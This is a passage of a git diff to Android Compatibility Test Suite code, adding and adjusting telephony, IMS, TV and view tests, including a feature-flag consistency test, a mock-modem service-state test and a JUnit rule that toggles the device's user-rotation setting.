+ mPhysicalChannelConfigCallback = new PhysicalChannelConfigListener();
registerTelephonyCallbackWithPermission(mPhysicalChannelConfigCallback);
});
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyFeatureFlagsTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyFeatureFlagsTest.java
new file mode 100644
index 0000000..29ccbc4
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyFeatureFlagsTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertTrue;
+
+import android.content.pm.PackageManager;
+
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Tests for telephony related feature flags defined in {@link android.content.pm.PackageManager}
+ */
+public final class TelephonyFeatureFlagsTest {
+
+ private PackageManager mPackageManager;
+
+ @Before
+ public void setUp() {
+ mPackageManager = getContext().getPackageManager();
+ }
+
+ @Test
+ public void testFeatureFlagsValidation() throws Exception {
+ boolean hasFeatureTelecom = mPackageManager.hasSystemFeature(
+ PackageManager.FEATURE_TELECOM);
+ boolean hasFeatureTelephony = mPackageManager.hasSystemFeature(
+ PackageManager.FEATURE_TELEPHONY);
+ boolean hasFeatureCalling = mPackageManager.hasSystemFeature(
+ PackageManager.FEATURE_TELEPHONY_CALLING);
+ boolean hasFeatureCarrierLock = mPackageManager.hasSystemFeature(
+ PackageManager.FEATURE_TELEPHONY_CARRIERLOCK);
+ boolean hasFeatureCdma = mPackageManager.hasSystemFeature(
+ PackageManager.FEATURE_TELEPHONY_CDMA);
+ boolean hasFeatureData = mPackageManager.hasSystemFeature(
+ PackageManager.FEATURE_TELEPHONY_DATA);
+ boolean hasFeatureEuicc = mPackageManager.hasSystemFeature(
+ PackageManager.FEATURE_TELEPHONY_EUICC);
+ boolean hasFeatureGsm = mPackageManager.hasSystemFeature(
+ PackageManager.FEATURE_TELEPHONY_GSM);
+ boolean hasFeatureIms = mPackageManager.hasSystemFeature(
+ PackageManager.FEATURE_TELEPHONY_IMS);
+ boolean hasFeatureSingleReg = mPackageManager.hasSystemFeature(
+ PackageManager.FEATURE_TELEPHONY_IMS_SINGLE_REGISTRATION);
+ boolean hasFeatureMbms = mPackageManager.hasSystemFeature(
+ PackageManager.FEATURE_TELEPHONY_MBMS);
+ boolean hasFeatureMessaging = mPackageManager.hasSystemFeature(
+ PackageManager.FEATURE_TELEPHONY_MESSAGING);
+ boolean hasFeatureRadio = mPackageManager.hasSystemFeature(
+ PackageManager.FEATURE_TELEPHONY_RADIO_ACCESS);
+ boolean hasFeatureSubscription = mPackageManager.hasSystemFeature(
+ PackageManager.FEATURE_TELEPHONY_SUBSCRIPTION);
+
+ if (hasFeatureCalling) {
+ assertTrue(hasFeatureTelecom && hasFeatureRadio && hasFeatureSubscription);
+ }
+
+ if (hasFeatureCarrierLock) {
+ assertTrue(hasFeatureSubscription);
+ }
+
+ if (hasFeatureCdma) {
+ assertTrue(hasFeatureRadio);
+ }
+
+ if (hasFeatureData) {
+ assertTrue(hasFeatureRadio && hasFeatureSubscription);
+ }
+
+ if (hasFeatureEuicc) {
+ assertTrue(hasFeatureSubscription);
+ }
+
+ if (hasFeatureGsm) {
+ assertTrue(hasFeatureRadio);
+ }
+
+ if (hasFeatureIms) {
+ assertTrue(hasFeatureData);
+ }
+
+ if (hasFeatureSingleReg) {
+ assertTrue(hasFeatureIms);
+ }
+
+ if (hasFeatureMbms) {
+ assertTrue(hasFeatureRadio && hasFeatureSubscription);
+ }
+
+ if (hasFeatureMessaging) {
+ assertTrue(hasFeatureRadio && hasFeatureSubscription);
+ }
+
+ if (hasFeatureRadio) {
+ assertTrue(hasFeatureTelephony);
+ }
+
+ if (hasFeatureSubscription) {
+ assertTrue(hasFeatureTelephony);
+ }
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 5b2764d..1e8eaa6 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -3621,6 +3621,9 @@
return;
}
+ // Perform this test on default data subscription.
+ mTelephonyManager = getContext().getSystemService(TelephonyManager.class)
+ .createForSubscriptionId(SubscriptionManager.getDefaultDataSubscriptionId());
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
mTelephonyManager,
(tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_THERMAL,
@@ -3658,6 +3661,9 @@
return;
}
+ // Perform this test on default data subscription.
+ mTelephonyManager = getContext().getSystemService(TelephonyManager.class)
+ .createForSubscriptionId(SubscriptionManager.getDefaultDataSubscriptionId());
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
mTelephonyManager,
(tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_POLICY,
@@ -3695,6 +3701,9 @@
return;
}
+ // Perform this test on default data subscription.
+ mTelephonyManager = getContext().getSystemService(TelephonyManager.class)
+ .createForSubscriptionId(SubscriptionManager.getDefaultDataSubscriptionId());
ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
mTelephonyManager,
(tm) -> tm.setDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_CARRIER,
@@ -4464,6 +4473,7 @@
return;
}
+ boolean connectedToNrCell = false;
for (CellInfo cellInfo : mTelephonyManager.getAllCellInfo()) {
CellIdentity cellIdentity = cellInfo.getCellIdentity();
int[] bands;
@@ -4481,11 +4491,21 @@
|| (band >= AccessNetworkConstants.NgranBands.BAND_257
&& band <= AccessNetworkConstants.NgranBands.BAND_261));
}
+ if (cellInfo.isRegistered()) {
+ connectedToNrCell = true;
+ }
} else {
continue;
}
assertTrue(bands.length > 0);
}
+
+ if (connectedToNrCell) {
+ assertEquals(TelephonyManager.NETWORK_TYPE_NR, mTelephonyManager.getDataNetworkType());
+ } else {
+ assertNotEquals(TelephonyManager.NETWORK_TYPE_NR,
+ mTelephonyManager.getDataNetworkType());
+ }
}
/**
@@ -5105,6 +5125,37 @@
// expected
}
}
+
+ @Test
+ public void testIgnoreInvalidNetworkType() {
+ if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+ return;
+ }
+
+ // NETWORK_TYPE_BITMASK_LTE_CA is invalid, should be converted into NETWORK_TYPE_BITMASK_LTE
+ long invalidAllowedNetworkTypes = TelephonyManager.NETWORK_TYPE_BITMASK_NR
+ | TelephonyManager.NETWORK_TYPE_BITMASK_LTE_CA;
+ long expectedAllowedNetworkTypes = TelephonyManager.NETWORK_TYPE_BITMASK_NR
+ | TelephonyManager.NETWORK_TYPE_BITMASK_LTE;
+ try {
+ ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+ mTelephonyManager,
+ (tm) -> tm.setAllowedNetworkTypesForReason(
+ TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER,
+ invalidAllowedNetworkTypes));
+
+ long deviceAllowedNetworkTypes = ShellIdentityUtils.invokeMethodWithShellPermissions(
+ mTelephonyManager, (tm) -> {
+ return tm.getAllowedNetworkTypesForReason(
+ TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER);
+ }
+ );
+ assertEquals(expectedAllowedNetworkTypes, deviceAllowedNetworkTypes);
+ } catch (SecurityException se) {
+ fail("testIgnoreInvalidNetworkType: SecurityException not expected");
+ }
+ }
+
@Test
public void getSimSlotMappingTest() {
if (!hasCellular()) return;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
index 265cb1d..81850a8 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTestOnMockModem.java
@@ -15,6 +15,8 @@
*/
package android.telephony.cts;
+import static android.telephony.mockmodem.MockSimService.MOCK_SIM_PROFILE_ID_TWN_CHT;
+
import static com.android.internal.telephony.RILConstants.INTERNAL_ERR;
import static com.android.internal.telephony.RILConstants.RIL_REQUEST_RADIO_POWER;
@@ -28,7 +30,11 @@
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.SystemProperties;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.NetworkRegistrationInfo;
+import android.telephony.ServiceState;
import android.telephony.TelephonyManager;
+import android.telephony.mockmodem.MockModemManager;
import android.util.Log;
import androidx.test.InstrumentationRegistry;
@@ -50,6 +56,7 @@
private static TelephonyManager sTelephonyManager;
private static final String ALLOW_MOCK_MODEM_PROPERTY = "persist.radio.allow_mock_modem";
private static final boolean DEBUG = !"user".equals(Build.TYPE);
+ private static boolean sIsMultiSimDevice;
@BeforeClass
public static void beforeAllTests() throws Exception {
@@ -63,6 +70,14 @@
sTelephonyManager =
(TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
+ sIsMultiSimDevice = isMultiSim(sTelephonyManager);
+
+ //TODO: Support DSDS b/210073692
+ if (sIsMultiSimDevice) {
+ Log.d(TAG, "Not support MultiSIM");
+ return;
+ }
+
sMockModemManager = new MockModemManager();
assertNotNull(sMockModemManager);
assertTrue(sMockModemManager.connectMockModemService());
@@ -76,6 +91,11 @@
return;
}
+ //TODO: Support DSDS b/210073692
+ if (sIsMultiSimDevice) {
+ return;
+ }
+
// Rebind all interfaces which is binding to MockModemService to default.
assertNotNull(sMockModemManager);
assertTrue(sMockModemManager.disconnectMockModemService());
@@ -85,6 +105,8 @@
@Before
public void beforeTest() {
assumeTrue(hasTelephonyFeature());
+ //TODO: Support DSDS b/210073692
+ assumeTrue(!sIsMultiSimDevice);
}
private static Context getContext() {
@@ -100,6 +122,10 @@
return true;
}
+ private static boolean isMultiSim(TelephonyManager tm) {
+ return tm != null && tm.getPhoneCount() > 1;
+ }
+
private static void enforceMockModemDeveloperSetting() throws Exception {
boolean isAllowed = SystemProperties.getBoolean(ALLOW_MOCK_MODEM_PROPERTY, false);
// Check for developer settings for user build. Always allow for debug builds
@@ -110,6 +136,26 @@
}
}
+ private int getRegState(int domain) {
+ int reg;
+
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation()
+ .adoptShellPermissionIdentity("android.permission.READ_PHONE_STATE");
+
+ ServiceState ss = sTelephonyManager.getServiceState();
+ assertNotNull(ss);
+
+ NetworkRegistrationInfo nri =
+ ss.getNetworkRegistrationInfo(domain, AccessNetworkConstants.TRANSPORT_TYPE_WWAN);
+ assertNotNull(nri);
+
+ reg = nri.getRegistrationState();
+ Log.d(TAG, "SS: " + nri.registrationStateToString(reg));
+
+ return reg;
+ }
+
@Test
public void testSimStateChange() throws Throwable {
Log.d(TAG, "TelephonyManagerTestOnMockModem#testSimStateChange");
@@ -123,9 +169,7 @@
.contains(simCardState));
// Insert a SIM
- assertTrue(
- sMockModemManager.insertSimCard(
- slotId, MockSimService.MOCK_SIM_PROFILE_ID_TWN_CHT));
+ assertTrue(sMockModemManager.insertSimCard(slotId, MOCK_SIM_PROFILE_ID_TWN_CHT));
simCardState = sTelephonyManager.getSimCardState();
assertEquals(TelephonyManager.SIM_STATE_PRESENT, simCardState);
@@ -236,4 +280,43 @@
assertTrue(result);
assertEquals(sTelephonyManager.getRadioPowerState(), radioState);
}
+
+ @Test
+ public void testServiceStateChange() throws Throwable {
+ Log.d(TAG, "TelephonyManagerTestOnMockModem#testServiceStateChange");
+
+ int slotId = 0;
+
+ // Insert a SIM
+ sMockModemManager.insertSimCard(slotId, MOCK_SIM_PROFILE_ID_TWN_CHT);
+
+ // Expect: Seaching State
+ TimeUnit.SECONDS.sleep(2);
+ assertEquals(
+ getRegState(NetworkRegistrationInfo.DOMAIN_CS),
+ NetworkRegistrationInfo.REGISTRATION_STATE_NOT_REGISTERED_SEARCHING);
+
+ // Enter Service
+ Log.d(TAG, "testServiceStateChange: Enter Service");
+ sMockModemManager.changeNetworkService(slotId, MOCK_SIM_PROFILE_ID_TWN_CHT, true);
+
+ // Expect: Home State
+ TimeUnit.SECONDS.sleep(2);
+ assertEquals(
+ getRegState(NetworkRegistrationInfo.DOMAIN_CS),
+ NetworkRegistrationInfo.REGISTRATION_STATE_HOME);
+
+ // Leave Service
+ Log.d(TAG, "testServiceStateChange: Leave Service");
+ sMockModemManager.changeNetworkService(slotId, MOCK_SIM_PROFILE_ID_TWN_CHT, false);
+
+ // Expect: Seaching State
+ TimeUnit.SECONDS.sleep(2);
+ assertEquals(
+ getRegState(NetworkRegistrationInfo.DOMAIN_CS),
+ NetworkRegistrationInfo.REGISTRATION_STATE_NOT_REGISTERED_SEARCHING);
+
+ // Remove the SIM
+ sMockModemManager.removeSimCard(slotId);
+ }
}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 397e1cb..dd545d6 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -269,11 +269,23 @@
private static class SingleRegistrationCapabilityReceiver extends BaseReceiver {
private int mCapability;
+ private int mSubId;
+
+ SingleRegistrationCapabilityReceiver(int subId) {
+ mSubId = subId;
+ }
@Override
public void onReceive(Context context, Intent intent) {
if (ProvisioningManager.ACTION_RCS_SINGLE_REGISTRATION_CAPABILITY_UPDATE
.equals(intent.getAction())) {
+ // if sub id in intent is not expected, then intent should be ignored.
+ int subId = intent.getIntExtra(ProvisioningManager.EXTRA_SUBSCRIPTION_ID,
+ SubscriptionManager.INVALID_SUBSCRIPTION_ID);
+ if (mSubId != subId) {
+ return;
+ }
+
mCapability = intent.getIntExtra(ProvisioningManager.EXTRA_STATUS,
ProvisioningManager.STATUS_DEVICE_NOT_CAPABLE
| ProvisioningManager.STATUS_CARRIER_NOT_CAPABLE);
@@ -321,7 +333,7 @@
InstrumentationRegistry.getInstrumentation().getContext()
.registerReceiver(sReceiver, filter);
- sSrcReceiver = new SingleRegistrationCapabilityReceiver();
+ sSrcReceiver = new SingleRegistrationCapabilityReceiver(sTestSub);
InstrumentationRegistry.getInstrumentation().getContext()
.registerReceiver(sSrcReceiver, new IntentFilter(
ProvisioningManager.ACTION_RCS_SINGLE_REGISTRATION_CAPABILITY_UPDATE));
diff --git a/tests/tests/telephony5/AndroidTest.xml b/tests/tests/telephony5/AndroidTest.xml
index 3d264da..d960a5b 100644
--- a/tests/tests/telephony5/AndroidTest.xml
+++ b/tests/tests/telephony5/AndroidTest.xml
@@ -17,9 +17,10 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="telecom" />
<option name="not-shardable" value="true" />
- <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTelephony5TestCases.apk" />
diff --git a/tests/tests/telephony5/src/android/telephony5/cts/TelephonyManagerReadNonDangerousPermissionTest.java b/tests/tests/telephony5/src/android/telephony5/cts/TelephonyManagerReadNonDangerousPermissionTest.java
index df0b9d6..1ddba2c 100644
--- a/tests/tests/telephony5/src/android/telephony5/cts/TelephonyManagerReadNonDangerousPermissionTest.java
+++ b/tests/tests/telephony5/src/android/telephony5/cts/TelephonyManagerReadNonDangerousPermissionTest.java
@@ -14,12 +14,13 @@
* limitations under the License.
*/
-package android.telephony2.cts;
+package android.telephony5.cts;
import static org.junit.Assert.fail;
import android.content.Context;
import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
import android.telephony.TelephonyManager;
import android.telephony.cts.TelephonyUtils;
@@ -53,6 +54,7 @@
}
@Test
+ @AppModeFull
public void testReadNonDangerousPermission() throws Exception {
if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
return;
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
index 22b4b1b..402431d 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
@@ -551,9 +551,10 @@
}
public void testTvInputHardwareOverrideAudioSink() {
- if (mManager == null) {
+ if (!Utils.hasTvInputFramework(getActivity()) || mManager == null) {
return;
}
+
// Update hardware device list
int deviceId = 0;
boolean hardwareDeviceAdded = false;
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
index 13effcd..018bb28 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvViewTest.java
@@ -447,8 +447,10 @@
mInstrumentation.waitForIdleSync();
assertTrue(mTvView.isFocused());
- verifyKeyEvent(new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_GUIDE), unhandledEvent);
- verifyKeyEvent(new KeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_GUIDE), unhandledEvent);
+ verifyKeyEvent(
+ new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_BUTTON_16), unhandledEvent);
+ verifyKeyEvent(
+ new KeyEvent(KeyEvent.ACTION_UP, KeyEvent.KEYCODE_BUTTON_16), unhandledEvent);
}
public void testConnectionFailed() throws Throwable {
diff --git a/tests/tests/util/src/android/util/cts/OWNERS b/tests/tests/util/src/android/util/cts/OWNERS
new file mode 100644
index 0000000..c4e91b5
--- /dev/null
+++ b/tests/tests/util/src/android/util/cts/OWNERS
@@ -0,0 +1,7 @@
+include platform/frameworks/base:/OWNERS
+
+per-file InstallUtilTest.java = file:platform/frameworks/base:/core/java/android/content/pm/OWNERS
+
+per-file TimeUtilsTest.java = file:platform/frameworks/base:/services/core/java/com/android/server/timezonedetector/OWNERS
+
+per-file TypedValueTest.java = file:platform/frameworks/base:/core/java/android/content/res/OWNERS
\ No newline at end of file
diff --git a/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java b/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java
index f7ce5ca..aa4dc6a 100644
--- a/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java
+++ b/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java
@@ -30,6 +30,7 @@
import static android.view.cts.util.ASurfaceControlTestUtils.reparent;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
import android.graphics.Canvas;
import android.graphics.Color;
@@ -94,6 +95,7 @@
mActivity = mActivityRule.getActivity();
mActivity.setLogicalDisplaySize(getLogicalDisplaySize());
mActivity.setMinimumCaptureDurationMs(1000);
+ assumeFalse(mActivity.isOnWatch());
}
@After
diff --git a/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java b/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
index 1b120f9..78f9b4d 100644
--- a/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
+++ b/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
@@ -51,6 +51,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
import android.graphics.Canvas;
import android.graphics.Color;
@@ -112,6 +113,7 @@
@Before
public void setup() {
mActivityRule.getScenario().onActivity(activity -> mActivity = activity);
+ assumeFalse(mActivity.isOnWatch());
}
///////////////////////////////////////////////////////////////////////////
diff --git a/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java b/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java
index 25312e7..b3f2945 100644
--- a/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java
+++ b/tests/tests/view/src/android/view/cts/SystemGestureExclusionRectsTest.java
@@ -105,10 +105,12 @@
final CountDownLatch doneAnimating = new CountDownLatch(1);
final Consumer<List<Rect>> vtoListener = results::add;
+ int[] location = new int[2];
mActivityRule.runOnUiThread(() -> {
final View v = activity.findViewById(R.id.animating_view);
final ViewTreeObserver vto = v.getViewTreeObserver();
+ v.getLocationInWindow(location);
vto.addOnSystemGestureExclusionRectsChangedListener(vtoListener);
v.setSystemGestureExclusionRects(
@@ -133,8 +135,8 @@
assertTrue("rect had expected height", sizeRange.contains(first.height()));
prev = first;
}
-
- assertEquals("reached expected animated destination", prev.right, 35);
+ // Consideration of left system bar
+ assertEquals("reached expected animated destination", prev.right, 35 + location[0]);
// Make sure we don't get any more callbacks after removing the VTO listener.
// Capture values on the UI thread to avoid races.
diff --git a/tests/tests/view/src/android/view/cts/TextureViewTest.java b/tests/tests/view/src/android/view/cts/TextureViewTest.java
index 6d949c6..3b02e60 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewTest.java
@@ -22,6 +22,7 @@
import static android.opengl.GLES20.glClearColor;
import static android.opengl.GLES20.glEnable;
import static android.opengl.GLES20.glScissor;
+import static android.view.WindowInsets.Type.captionBar;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
@@ -97,11 +98,15 @@
activity.waitForSurface();
activity.initGl();
int updatedCount;
- updatedCount = activity.waitForSurfaceUpdateCount(0);
- assertEquals(0, updatedCount);
+ // If the caption bar is present, the surface update counts increase by 1
+ int extraSurfaceOffset =
+ window.getDecorView().getRootWindowInsets().getInsets(captionBar()).top == 0
+ ? 0 : 1;
+ updatedCount = activity.waitForSurfaceUpdateCount(0 + extraSurfaceOffset);
+ assertEquals(0 + extraSurfaceOffset, updatedCount);
activity.drawColor(Color.GREEN);
- updatedCount = activity.waitForSurfaceUpdateCount(1);
- assertEquals(1, updatedCount);
+ updatedCount = activity.waitForSurfaceUpdateCount(1 + extraSurfaceOffset);
+ assertEquals(1 + extraSurfaceOffset, updatedCount);
assertEquals(Color.WHITE, getPixel(window, center));
WidgetTestUtils.runOnMainAndDrawSync(mActivityRule,
activity.findViewById(android.R.id.content), () -> activity.removeCover());
@@ -109,8 +114,8 @@
int color = waitForChange(window, center, Color.WHITE);
assertEquals(Color.GREEN, color);
activity.drawColor(Color.BLUE);
- updatedCount = activity.waitForSurfaceUpdateCount(2);
- assertEquals(2, updatedCount);
+ updatedCount = activity.waitForSurfaceUpdateCount(2 + extraSurfaceOffset);
+ assertEquals(2 + extraSurfaceOffset, updatedCount);
color = waitForChange(window, center, color);
assertEquals(Color.BLUE, color);
}
diff --git a/tests/tests/view/src/android/view/cts/TooltipTest.java b/tests/tests/view/src/android/view/cts/TooltipTest.java
index 4ce5eba..903e1cf 100644
--- a/tests/tests/view/src/android/view/cts/TooltipTest.java
+++ b/tests/tests/view/src/android/view/cts/TooltipTest.java
@@ -820,6 +820,7 @@
final int tooltipTimeout = ViewConfiguration.getHoverTooltipShowTimeout();
final long halfTimeout = tooltipTimeout / 2;
+ final long quaterTimeout = tooltipTimeout / 4;
assertTrue(halfTimeout + WAIT_MARGIN < tooltipTimeout);
// Imitate strong jitter (above hoverSlop threshold). No tooltip should be shown.
@@ -828,28 +829,29 @@
assertTrue(jitterHigh <= mTooltipView.getHeight());
injectHoverMove(source, mTooltipView, 0, 0);
- waitOut(halfTimeout);
+ waitOut(quaterTimeout);
assertFalse(hasTooltip(mTooltipView));
injectHoverMove(source, mTooltipView, jitterHigh, 0);
- waitOut(halfTimeout);
+ waitOut(quaterTimeout);
assertFalse(hasTooltip(mTooltipView));
injectShortClick(mTooltipView);
injectHoverMove(source, mTooltipView, 0, 0);
- waitOut(halfTimeout);
+ waitOut(quaterTimeout);
assertFalse(hasTooltip(mTooltipView));
injectShortClick(mTooltipView);
injectHoverMove(source, mTooltipView, 0, jitterHigh);
- waitOut(halfTimeout);
+ waitOut(quaterTimeout);
assertFalse(hasTooltip(mTooltipView));
// Jitter below threshold should be ignored and the tooltip should be shown.
injectShortClick(mTooltipView);
injectHoverMove(source, mTooltipView, 0, 0);
- waitOut(halfTimeout);
+ waitOut(quaterTimeout);
assertFalse(hasTooltip(mTooltipView));
+ waitOut(quaterTimeout);
int jitterLow = hoverSlop - 1;
injectHoverMove(source, mTooltipView, jitterLow, 0);
@@ -862,8 +864,9 @@
injectShortClick(mTooltipView);
injectHoverMove(source, mTooltipView, 0, 0);
- waitOut(halfTimeout);
+ waitOut(quaterTimeout);
assertFalse(hasTooltip(mTooltipView));
+ waitOut(quaterTimeout);
injectHoverMove(source, mTooltipView, 0, jitterLow);
waitOut(halfTimeout);
diff --git a/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java b/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java
new file mode 100644
index 0000000..36b6314
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/util/DisableFixToUserRotationRule.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts.util;
+
+import android.app.UiAutomation;
+import android.content.pm.PackageManager;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.Reader;
+
+public class DisableFixToUserRotationRule implements TestRule {
+ private static final String TAG = "DisableFixToUserRotationRule";
+ private static final String COMMAND = "cmd window set-fix-to-user-rotation ";
+
+ private final UiAutomation mUiAutomation;
+ private final boolean mSupportsRotation;
+
+ public DisableFixToUserRotationRule() {
+ mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ PackageManager pm = InstrumentationRegistry
+ .getInstrumentation()
+ .getContext()
+ .getPackageManager();
+ mSupportsRotation = pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)
+ && pm.hasSystemFeature(PackageManager.FEATURE_SCREEN_PORTRAIT);
+ }
+
+ @Override
+ public Statement apply(Statement base, Description description) {
+ return new Statement() {
+ @Override
+ public void evaluate() throws Throwable {
+ if (mSupportsRotation) {
+ executeShellCommandAndPrint(COMMAND + "disabled");
+ }
+ try {
+ base.evaluate();
+ } finally {
+ if (mSupportsRotation) {
+ executeShellCommandAndPrint(COMMAND + "default");
+ }
+ }
+ }
+ };
+ }
+
+ private void executeShellCommandAndPrint(String cmd) {
+ ParcelFileDescriptor pfd = mUiAutomation.executeShellCommand(cmd);
+ StringBuilder builder = new StringBuilder();
+ char[] buffer = new char[256];
+ int charRead;
+ try (Reader reader =
+ new InputStreamReader(new ParcelFileDescriptor.AutoCloseInputStream(pfd))) {
+ while ((charRead = reader.read(buffer)) > 0) {
+ builder.append(buffer, 0, charRead);
+ }
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+
+ Log.i(TAG, "Command: " + cmd + " Output: " + builder);
+ }
+
+}
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ASurfaceControlTestActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ASurfaceControlTestActivity.java
index ccecf85..d6c499c 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ASurfaceControlTestActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/ASurfaceControlTestActivity.java
@@ -297,4 +297,8 @@
}
}
}
+
+ public boolean isOnWatch() {
+ return mOnWatch;
+ }
}
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 4bdc106..ac56a81 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -399,4 +399,8 @@
}
}
+ public boolean isOnWatch() {
+ return mOnWatch;
+ }
+
}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
index 0f1f0e8..f712d52 100644
--- a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
